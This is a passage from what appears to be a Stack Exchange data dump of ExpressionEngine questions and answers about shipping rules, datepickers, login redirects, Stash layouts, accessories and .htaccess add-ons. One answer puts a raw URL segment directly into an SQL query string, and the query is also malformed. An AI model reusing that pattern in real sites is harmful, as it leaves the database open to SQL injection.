noreferrer&quot;&gt;https://i.stack.imgur.com/JWen0.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="954" LastEditorUserId="954" LastEditDate="2013-02-06T15:37:02.930" LastActivityDate="2013-02-06T15:37:02.930" Title="Expresso Store error: Error calculating shipping: No rules match the current cart" Tags="|expresso-store|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5916" PostTypeId="2" ParentId="5915" CreationDate="2013-02-06T14:48:14.297" Score="1" Body="&lt;p&gt;Store breaks shipping down into two concepts: &lt;em&gt;Shipping Methods&lt;/em&gt; and &lt;em&gt;Shipping Rules&lt;/em&gt;. Each Shipping Method has one or more rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, you might have two shipping methods: &lt;em&gt;Standard Delivery&lt;/em&gt; and &lt;em&gt;Express Delivery&lt;/em&gt;. For each of these methods, you would create some rules to calculate shipping costs. Shipping rules can be based on any or all of the following criteria:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Country&lt;/li&gt;&#xA;&lt;li&gt;Region / State&lt;/li&gt;&#xA;&lt;li&gt;Postcode / ZIP&lt;/li&gt;&#xA;&lt;li&gt;Min &amp;amp; Max Order Quantity&lt;/li&gt;&#xA;&lt;li&gt;Min &amp;amp; Max Order Total ($)&lt;/li&gt;&#xA;&lt;li&gt;Min &amp;amp; Max Order Weight&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When your customer has selected a shipping method, but no rules apply to them to calculate costs from, you will receive the error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error calculating shipping: No rules match the current cart.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are two ways to fix/avoid this error:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In most cases, you would create a &quot;catch-all&quot; shipping rule with no criteria, with a shipping price for &quot;everyone else&quot;.&lt;/li&gt;&#xA;&lt;li&gt;If the shipping method really doesn't apply to this customer (say the shipping method only applies to domestic shipping, but this customer has selected a different country for their shipping address), then you should use a conditional statement in your template so that the customer never sees or selects this payment method.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-02-06T14:48:14.297" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5917" PostTypeId="2" ParentId="5901" CreationDate="2013-02-06T14:57:16.633" Score="1" Body="&lt;p&gt;Since you're not using the Matrix fieldtype's internal display method, you'll need to manually call the datepicker on that input (otherwsie it's just a plain text field).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Target it with a class name or id, then apply some jQuery to it. You'll also need to format the existing field value if you're displaying your form as an edit form (otherwise it will show up in the field as as UNIX timestamp).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; class=&quot;my-date-field&quot; name=&quot;my_matrix_field_name[row_id_{row_id}][col_id_1]&quot; value=&quot;{end_date format=&quot;%Y-%m%-d %g:% %A&quot;}&quot;&amp;gt;&#xA;&#xA;&amp;lt;script&amp;gt;&#xA;$(document).ready(function()&#xA;{&#xA;    var date = new Date(),&#xA;    hours = date.getHours(),&#xA;    minutes = date.getMinutes();&#xA;&#xA;    if (minutes &amp;lt; 10) minutes = '0'+minutes;&#xA;&#xA;    if (hours &amp;gt; 11) {&#xA;        hours = hours - 12;&#xA;        var meridiem = &quot; PM&quot;;&#xA;    } else {&#xA;        var meridiem = &quot; AM&quot;;&#xA;    }&#xA;&#xA;    var time = &quot; \'&quot;+hours+':'+minutes+meridiem+&quot;\'&quot;;&#xA;&#xA;    $('.my-date-field').datepicker({&#xA;        constrainInput: false,&#xA;        dateFormat: $.datepicker.W3C + time&#xA;    });&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-06T14:57:16.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5918" PostTypeId="2" ParentId="5436" CreationDate="2013-02-06T15:00:06.050" Score="1" Body="&lt;p&gt;This looks like the best way to set things up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you really need to do is update the &quot;quantity received&quot; column after a purchase is made. This will require writing an extension to update your matrix field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first thing you need to do is remember which gift list the customer is purchasing from. I assume you have a page to display all items in the gift list and an &quot;add to cart&quot; button. What I would do here is use a &lt;a href=&quot;https://exp-resso.com/docs/store/product_tag.html#inputcustom_modifier_name&quot; rel=&quot;nofollow&quot;&gt;custom text modifier&lt;/a&gt; to store the matrix row ID of the product they purchased. You can submit this as a hidden field as part of the add to cart form, and it will get stored in the cart alongside any other modifiers (e.g. Size, Color). You can also edit your checkout templates with some conditional statements to hide this matrix row ID from displaying the checkout pages (since the customer doesn't need to know or care about it), but you will need to know it later to know which gift list purchase count to increment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you will need to create an extension (don't use php in templates if you can avoid it, it can create security holes in EE). Start by following the general &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extensions.html&quot; rel=&quot;nofollow&quot;&gt;EE extension development guide here&lt;/a&gt;. You will want to use the &lt;a href=&quot;https://exp-resso.com/docs/store/extension_hooks.html#store_order_complete_end&quot; rel=&quot;nofollow&quot;&gt;store_order_complete_end hook&lt;/a&gt; which means your custom PHP code will be run every time an order is complete (paid for).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your extension hook code, you will basically loop through the items in the order, and check for the text modifier you stored (which contains the matrix row ID). You can then easily +1 the &quot;quantity received&quot; column directly in your database (I'll leave it to you to decipher the matrix database schema).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a fairly involved process, but nothing particularly complicated. If you're not familiar with PHP and SQL it's probably worth hiring a developer who has worked with EE extensions before to help you out.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-02-06T15:00:06.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5919" PostTypeId="1" CreationDate="2013-02-06T15:38:44.700" Score="4" ViewCount="257" Body="&lt;p&gt;I've taken to installing add-ons that I have in development in separate repositories as submodules into each of my EE projects. This has worked fine for add-ons that do not have a themes folder, but I am now finally in the situation where I want to develop a module/extension that utilizes a themes folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have come accross &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/41/add-on-development-with-themes-and-git&quot;&gt;this other question&lt;/a&gt; for which answers suggest using symlinks to accomplish the goal. I find symlinks in git to be a scary proposition (they don't behave the same across platforms), and would prefer to have a way to do this that refers to the remote repo, not a local copy by a strict path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to use subtree merging to remap e.g.:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;subproject/system/expressionengine/third_party/add-on-name&lt;/code&gt; to &lt;code&gt;project/third_party/add-on-name&lt;/code&gt; (I use ee-master-config to remap third_party outside of the expressionengine directory, along with the templates directory)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;subproject/themes/third_party/add-on-name&lt;/code&gt; to &lt;code&gt;project/public_html/themes/third_party/add-on-name&lt;/code&gt; (I keep the system folder above web root)?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To clarify the setup, this is my current folder hierarchy for any given EE site:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/public_html&#xA;  /public_html/themes&#xA;  /public_html/system (contains only an index.php pointing to ../../system)&#xA;/system&#xA;/templates&#xA;/third_party&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Web root is set to public_html so that executable server side code is never exposed to the wider world. In an add-on repository the folder structure is that of the default expressionengine setup, eg.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/system&#xA;  /system/expressionengine/third_party&#xA;/themes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The trouble then is including the files from the add-on repository to different paths in an expressionengine site's hierarchy. &lt;/p&gt;&#xA;" OwnerUserId="955" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-04-02T22:05:43.443" Title="Git subtree with add-ons that have a themes folder" Tags="|add-on-development|git|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5921" PostTypeId="2" ParentId="5644" CreationDate="2013-02-06T17:20:02.503" Score="1" Body="&lt;p&gt;To answer this question, ignoring the AJAX Form Validator, which I'm unfamiliar with.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How can I use Jquery/Ajax to perform an inline check before submitting the form?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can create a template that loads a segment variable, such as the email address, into an &lt;code&gt;exp:query&lt;/code&gt; tag/SQL statement, and check for the address that way. You can then return a 1 or a 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the URL is /email-check/someone@somewhere.com&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;Select * from exp_channel_data where field_id 2 = '{segment_2}'}&#xA;{if total_results &amp;gt; 0}1{if:else}0{/if}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you can just use your own jQuery/AJAX code to pass the email address to that template's URL, and validate the form based on the 1/0 response.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-02-06T17:20:02.503" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5922" PostTypeId="1" AcceptedAnswerId="5923" CreationDate="2013-02-06T17:23:43.880" Score="9" ViewCount="3193" Body="&lt;p&gt;I am new to working with Expression Engine, so this might not be possible. The site I am working on has some pages that are private to members only. I'm assuming this is a built in feature of Expression Engine and not some type of add-on. When a member who is not logged in reaches a page which requires login, I would like them to be redirected back to the page they were on after they log in. Currently it is redirecting them to a specific member page (and I'm not sure where that is configured).&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;After further investigation, there are two &amp;quot;member&amp;quot; modules installed: &lt;code&gt;Freemember&lt;/code&gt; and &lt;code&gt;Member&lt;/code&gt;. There is a link to a custom login page and in the html there is a &lt;code&gt;{login_form}&lt;/code&gt; tag. I can't find where or who defines this variable so I don't know what to do next.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I found the source of the &lt;code&gt;{login_form}&lt;/code&gt; tag. This was being defined in a template using a plugin called &lt;code&gt;CE variables&lt;/code&gt;. Here's a sample of the template:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_vars:set_content name=&amp;quot;login_form&amp;quot;}&#xA;{exp:freemember:login form_id=&amp;quot;login&amp;quot; return=&amp;quot;/member-resources&amp;quot; error_handling=&amp;quot;inline&amp;quot; error_delimiters='&amp;lt;small&amp;gt;|&amp;lt;/small&amp;gt;'}&#xA;    ...some html...&#xA;{/exp:freemember:login}&#xA;{/exp:ce_vars:set_content}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Obviously, I found the source of the redirect (the &lt;code&gt;return&lt;/code&gt; attribute). So now it is a matter of passing the &amp;quot;return to URL&amp;quot; in the link to the login form.&lt;/p&gt;&#xA;&lt;h2&gt;Solution:&lt;/h2&gt;&#xA;&lt;p&gt;&lt;code&gt;Freemember&lt;/code&gt; provides a &lt;code&gt;PREVIOUS_URL&lt;/code&gt; constant that you can use instead:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freemember:login return=&amp;quot;PREVIOUS_URL&amp;quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="924" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2015-02-24T14:08:00.170" Title="How to redirect member login to previous page?" Tags="|members|login|freemember|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5923" PostTypeId="2" ParentId="5922" CreationDate="2013-02-06T17:32:02.007" Score="5" Body="&lt;p&gt;Here's how I'm doing this using &lt;a href=&quot;http://devot-ee.com/add-ons/profileedit&quot; rel=&quot;noreferrer&quot;&gt;Profile:Edit&lt;/a&gt;, which is an add-on. I assume &lt;a href=&quot;http://devot-ee.com/add-ons/zoo-visitor&quot; rel=&quot;noreferrer&quot;&gt;Zoo Visitor&lt;/a&gt; will support something similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you visit one of my news article pages, because it was linked in an email, at the top of that template I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_out}{redirect='/members/login/{segment_1}/{segment_2}'}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could add all your segments there. The point is, I'm dynamically passing the current URL to my member login form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within that login form template, I have my Profile:Edit tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:profile:login return=&quot;/{if segment_3!=''}{segment_3}{/if}{if segment_4!=''}/{segment_4}{/if}{if segment_5!=''}/{segment_5}{/if}&quot; class=&quot;nice&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will look at up to 5 segments to match the URL passed in, and redirect back to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You didn't say how you plan on protecting the pages that require login or if you did that already. I assume you're using a tag at the top of those templates to check logged-in/logged-out status and redirecting if the user is not logged in.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-02-06T17:32:02.007" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5925" PostTypeId="2" ParentId="5919" CreationDate="2013-02-06T18:05:42.417" Score="1" Body="&lt;p&gt;I'm not too well versed in Git, but you could override the third party path for addon's in the &lt;code&gt;system/expressionengine/config/config.php&lt;/code&gt; file and put site &amp;amp; addon assets in a folder outside of the EE system files with these overrides:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['third_party_path'] = '/server/path/domain.com/assets/addon_sys/';&#xA;$config['path_third_themes'] = '/server/path/domain.com/assets/addon_themes/';&#xA;$config['url_third_themes'] = '/assets/addon_themes/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I typically put all site assets in one folder, so everything is easy to access:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/assets/addon_sys/&#xA;/assets/addon_themes/&#xA;/assets/css/&#xA;/assets/js/&#xA;/assets/img/&#xA;/assets/low_vars/&#xA;/assets/templates/&#xA;/assets/uploads/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-02-06T18:05:42.417" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5926" PostTypeId="1" AcceptedAnswerId="5938" CreationDate="2013-02-06T18:05:49.750" Score="2" ViewCount="370" Body="&lt;p&gt;I have a feeling I'm missing something incredibly basic but I'm stuck so here goes.&#xA;I have a basic html page {stash:embed:layouts:standard}  that holds a 2-col layout.&#xA;The main column and sidebar have content from the &quot;site&quot; channel but in the sidebar the user has a choice to embed 1 (the most recent) item from the &quot;news&quot; channel (using a PT switch field).&#xA;The standard way I know but I'm stumped on doing this the stash way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;layouts:standard is basically&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;&#xA;    {exp:stash:get name=&quot;intro&quot;}&#xA;&#xA;    &amp;lt;div class=&quot;main&quot; role=&quot;main&quot;&amp;gt;&#xA;        {exp:stash:get name=&quot;main_content&quot;}&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- .main --&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;sub&quot;&amp;gt;&#xA;        {!-- this should be conditional --}&#xA;        {exp:stash:get name=&quot;nieuws&quot;}&#xA;&#xA;        {exp:stash:get name=&quot;sidebar&quot;}&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- .sub --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- .container --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My main template is simply&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- main layout --}&#xA;{stash:embed:layouts:standard} &#xA;&#xA;{!-- main content --}&#xA;&#xA;{exp:channel:entries channel=&quot;site&quot; disable=&quot;member_data|pagination&quot; category=&quot;{segment_1_category_id}&quot; dynamic=&quot;off&quot; url_title=&quot;{segment_2}&quot;}&#xA;{if no_results}{redirect=&quot;404&quot;}{/if}&#xA;&#xA;{exp:stash:set name=&quot;banner&quot;}{cf_site_main_image}{/exp:stash:set}&#xA;&#xA;{exp:stash:set name=&quot;main_title&quot;}{cf_site_main_title}{/exp:stash:set}&#xA;&#xA;{exp:stash:set name=&quot;sub_title&quot;}{cf_site_sub_title}{/exp:stash:set}&#xA;&#xA;{exp:stash:set name=&quot;intro&quot;}{intro}{/exp:stash:set}&#xA;&#xA;{exp:stash:set name=&quot;main_content&quot;}{body}{/exp:stash:set}&#xA;&#xA;{exp:stash:set name=&quot;sidebar&quot;}{sidebar}{/exp:stash:set}&#xA;&#xA; {if cf_site_add_news == &quot;y&quot;}&#xA;    {!-- the single news entry here only if switch set to yes --}&#xA; {/if}&#xA;&#xA;{/exp:channel:entries}&#xA;&#xA;{!-- news item for sidebar --}&#xA;&#xA;{exp:stash:set name=&quot;nieuws&quot; save=&quot;yes&quot;  scope=&quot;site&quot; parse_tags=&quot;yes&quot;replace=&quot;yes&quot; refresh=&quot;240&quot;output=&quot;yes&quot;}&#xA;{exp:channel:entries channel=&quot;nieuws&quot; disable=&quot;categories|category_fields|member_data|pagination&quot; dynamic=&quot;off&quot; limit=&quot;1&quot;}&#xA;    {cf_nieuws_content}&#xA;{/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What trips me up is the conditional if statement {if cf_site_add_news == &quot;y&quot;} - how and/or where do I process it? Am I making it clear enough?&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2013-02-06T22:32:41.940" Title="Stash + conditionally embed content from different channel" Tags="|stash|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5927" PostTypeId="1" AcceptedAnswerId="5933" CreationDate="2013-02-06T19:44:36.480" Score="1" ViewCount="106" Body="&lt;p&gt;I am creating an accessory that will access a table that I have created to update the value of a field. I have it set up so that if the value is 1 the page will be rendered and if the value is 0 the page will not be rendered. I have gotten everything down except getting the value to change via the access class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I currently have is a link that will execute an onclick to call another function within the accessory that evaluates the value of the field and then decides to change the value based on that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a sample of the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * The Blog Switch Accessory&#xA; *&#xA; * @package ' '&#xA; * @author Jeremy Herb&#xA; */&#xA;class Blog_switch_acc {&#xA;var $name         = 'Blog Switch';&#xA;var $id           = 'blog_acc';&#xA;var $version      = '1.0';&#xA;var $description  = 'This accessory will allow you to turn your blog page on and off';&#xA;var $sections     = array();&#xA;/**&#xA;* Constructor&#xA;*/&#xA;public function Blog_switch_acc()&#xA;{&#xA;$this-&amp;gt;EE =&amp;amp; get_instance();&#xA;}&#xA;&#xA;//onclick execute function to change value&#xA;public function set_sections()&#xA;{&#xA;$this-&amp;gt;sections[&quot;On/Off Switch&quot;]  = &quot;&#xA;  &amp;lt;a  href='#' onclick='switcher()'&amp;gt;On/Off&amp;lt;/a&amp;gt; &#xA;  &amp;lt;p&amp;gt;To turn the blog on or off click the button above&amp;lt;/p&amp;gt;&quot;;&#xA;}&#xA;&#xA;&#xA;public function switcher()&#xA;{&#xA;$query = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&quot;SELECT blog_on_off FROM db_options&quot;);      &#xA;$set_to = $query == false;&#xA;$this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&quot;UPDATE db_options SET blog_on_off = $set_to&quot;);&#xA;}&#xA;   }&#xA;&#xA;/* End of file acc.blog_switch.php */       &#xA;/*Location:./system/expressionengine/third_party/blog_switch/acc.blog_switch.php*/ &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My apologies if it looks bad on the forum, this is my first post here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Jeremy Herb&lt;/p&gt;&#xA;" OwnerUserId="957" LastEditorUserId="55" LastEditDate="2013-02-06T20:27:56.817" LastActivityDate="2013-02-06T20:42:57.830" Title="Trouble Creating an accessory that will access DB field and modify value" Tags="|database|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5928" PostTypeId="1" AcceptedAnswerId="5929" CreationDate="2013-02-06T20:03:03.133" Score="1" ViewCount="698" Body="&lt;p&gt;I have a client that wants to edit their .htaccess file within ExpressionEngine's CP as opposed to editing the file locally and FTP'ing it back to the server. Is it possible to customize EE to allow for such, that is, read in the contents of the .htaccess file and once updates are made, write the contents back to the file and save on the server's hard disk? I searched Devot:ee and didn't see any add-ons or plugins to do so. Thanks in advance...&lt;/p&gt;&#xA;" OwnerUserId="958" LastEditorUserId="28" LastEditDate="2013-03-10T18:29:11.053" LastActivityDate="2013-03-10T18:29:11.053" Title="Edit .htaccess File Within ExpressionEngine" Tags="|htaccess|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5929" PostTypeId="2" ParentId="5928" CreationDate="2013-02-06T20:09:30.113" Score="2" Body="&lt;p&gt;You're going to want &lt;a href=&quot;http://ee-garage.com/nsm-htaccess-generator&quot; rel=&quot;nofollow&quot;&gt;NSM .htaccess Generator&lt;/a&gt;, Marc. This will update the .htaccess as they add new entries, as well as edit the baseline of the .htaccess file, itself.&lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2013-02-06T20:09:30.113" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5930" PostTypeId="2" ParentId="5928" CreationDate="2013-02-06T20:09:53.787" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/detour-pro&quot; rel=&quot;nofollow&quot;&gt;Detour Pro&lt;/a&gt; is recommended often around here as well, if they're just looking to manage redirects.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-02-06T20:09:53.787" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5931" PostTypeId="2" ParentId="5928" CreationDate="2013-02-06T20:17:12.753" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/htaccess-maker&quot; rel=&quot;nofollow&quot;&gt;.htaccess Maker&lt;/a&gt; allows you to use any EE template (and so any template tags) to generate your .htaccess file each time any template is updated (or you can invoke generation manually from CP). And it's free :)&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-02-06T20:17:12.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5932" PostTypeId="2" ParentId="5901" CreationDate="2013-02-06T20:38:00.587" Score="0" Body="&lt;p&gt;Further to Dereks answer and just to wrap things up, here is the code I've used that includes altFormat and altField. It allows datepicker to display without the time in the field, but still pass the date + time in the required format back to EE.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &#xA;&amp;lt;input type=&quot;text&quot; value=&quot;{end_date format=&quot;%Y-%m-%d&quot;}&quot; id=&quot;my_datepicker_date&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;my_matrix_field_name[row_id_{row_id}][col_id_1]&quot; value=&quot;{end_date format=&quot;%Y-%m-%d %g:%h %A&quot;}&quot; id=&quot;stored_date&quot;&amp;gt;&#xA;&#xA;$(document).ready(function()&#xA;{&#xA;    var date = new Date(),&#xA;    hours = date.getHours(),&#xA;    minutes = date.getMinutes();&#xA;&#xA;    if (minutes  11) {&#xA;        hours = hours - 12;&#xA;        var meridiem = &quot; PM&quot;;&#xA;    } else {&#xA;        var meridiem = &quot; AM&quot;;&#xA;    }&#xA;&#xA;    var time = &quot; \'&quot;+hours+':'+minutes+meridiem+&quot;\'&quot;;&#xA;&#xA;   $('#my_datepicker_date').datepicker({&#xA;        constrainInput: false,&#xA;        dateFormat: 'yy-mm-dd',&#xA;        altField: &quot;#stored_date&quot;,&#xA;        altFormat: $.datepicker.W3C + time&#xA;    });&#xA;&#xA;    $('#my_datepicker_date').change(function () {&#xA;        var $value = $(this).val();&#xA;        if ($value == '') $(&quot;#stored_date&quot;).val('');&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="951" LastActivityDate="2013-02-06T20:38:00.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5933" PostTypeId="2" ParentId="5927" CreationDate="2013-02-06T20:42:57.830" Score="1" Body="&lt;p&gt;Welcome Jeremy! You appear to be confusing PHP functions and javascript functions. In your &quot;On/Off Switch&quot; accessory code, you're calling a &lt;em&gt;javascript&lt;/em&gt; function with the &lt;code&gt;onclick&lt;/code&gt; event. For that to call your &lt;code&gt;switcher()&lt;/code&gt; PHP function, you'd need to add more javascript that will make that click an AJAX call to your accessory method which runs via PHP on the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do this with accessories by using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/accessories.html#processing-requests&quot; rel=&quot;nofollow&quot;&gt;process_ method&lt;/a&gt;. So, you'd rename &lt;code&gt;switcher()&lt;/code&gt; to &lt;code&gt;process_switcher()&lt;/code&gt;, then make an AJAX call to &lt;code&gt;C=addons_accessories&amp;amp;M=process_request&amp;amp;accessory=blog_switch&amp;amp;method=process_switcher&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, your code inside of the &lt;code&gt;switcher()&lt;/code&gt; function does not follow EE code guidelines. It should be more like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&quot;SELECT blog_on_off FROM db_options LIMIT 1&quot;);      &#xA;if($query-&amp;gt;num_rows() == 1)&#xA;{&#xA;    $set_to = ($query-&amp;gt;row('blog_on_off') == false) ? 1 : 0;&#xA;    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&quot;UPDATE db_options SET blog_on_off = $set_to&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/database.html&quot; rel=&quot;nofollow&quot;&gt;Review the EE database class documentation here.&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-06T20:42:57.830" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5934" PostTypeId="1" AcceptedAnswerId="6058" CreationDate="2013-02-06T21:01:58.010" Score="2" ViewCount="154" Body="&lt;p&gt;We are experiencing the same issue as:&#xA;&lt;a href=&quot;https://getsatisfaction.com/pixelandtonic/topics/https_and_playa_in_cp&quot; rel=&quot;nofollow&quot;&gt;https://getsatisfaction.com/pixelandtonic/topics/https_and_playa_in_cp&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're wanting to use the playa module along with force-ssl(&lt;a href=&quot;http://devot-ee.com/add-ons/dm-force-ssl&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/dm-force-ssl&lt;/a&gt;). Due to various constraints we were unable to apply SSL without this module. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The force-ssl module controls the &quot;URL to your &quot;themes&quot; folder&quot; among other variables. So despite setting it to /themes/ the playa plugin 'filter' feature still does not work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We experienced the same issue with channel videos. After talking to them they were able to issue a patch that resolved this issue. We're wondering if you could also facilitate integration of the playa and force-ssl module?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried this and had the same result without force-ssl and just a simple rewrite for the control panel only:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    RewriteCond %{HTTPS} off&#xA;    RewriteCond $1 ^(admin.php) [NC]&#xA;    RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Taylor&lt;/p&gt;&#xA;" OwnerUserId="960" LastEditorUserId="563" LastEditDate="2013-02-27T17:22:03.683" LastActivityDate="2013-02-27T17:22:03.683" Title="Playa Filters failing with Force SSL module in place" Tags="|playa|ssl|" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
